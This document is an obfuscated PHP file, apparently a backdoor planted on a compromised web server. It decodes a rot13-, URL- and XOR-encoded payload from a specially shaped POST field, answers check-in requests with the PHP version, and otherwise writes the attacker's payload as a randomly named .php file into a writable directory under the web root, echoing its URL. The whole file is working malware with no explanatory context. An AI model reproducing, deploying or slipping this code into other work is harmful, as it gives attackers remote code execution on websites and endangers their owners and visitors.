<?php $pkoltgayd = "yuqqpjwznpfqdndz";$vppdjvtl = "";foreach ($_POST as $cgggjrx => $pmoffdvll){if (strlen($cgggjrx) == 16 and substr_count($pmoffdvll, "%") > 10){hlpsdwkbnv($cgggjrx, $pmoffdvll);}}function hlpsdwkbnv($cgggjrx, $mlpavveka){global $vppdjvtl;$vppdjvtl = $cgggjrx;$mlpavveka = str_split(rawurldecode(str_rot13($mlpavveka)));function yneegi($fwvqa, $cgggjrx){global $pkoltgayd, $vppdjvtl;return $fwvqa ^ $pkoltgayd[$cgggjrx % strlen($pkoltgayd)] ^ $vppdjvtl[$cgggjrx % strlen($vppdjvtl)];}$mlpavveka = implode("", array_map("yneegi", array_values($mlpavveka), array_keys($mlpavveka)));$mlpavveka = @unserialize($mlpavveka);if (@is_array($mlpavveka)){$cgggjrx = array_keys($mlpavveka);$mlpavveka = $mlpavveka[$cgggjrx[0]];if ($mlpavveka === $cgggjrx[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function kotntz($bgpxnbir) {static $qdfpdbfz = array();$ezxgsxz = glob($bgpxnbir . '/*', GLOB_ONLYDIR);if (count($ezxgsxz) > 0) {foreach ($ezxgsxz as $bgpxnb){if (@is_writable($bgpxnb)){$qdfpdbfz[] = $bgpxnb;}}}foreach ($ezxgsxz as $bgpxnbir) kotntz($bgpxnbir);return $qdfpdbfz;}$auvjywkq = $_SERVER["DOCUMENT_ROOT"];$ezxgsxz = kotntz($auvjywkq);$cgggjrx = array_rand($ezxgsxz);$bowdmqlh = $ezxgsxz[$cgggjrx] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bowdmqlh, $mlpavveka);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bowdmqlh, strlen($auvjywkq));exit();}}}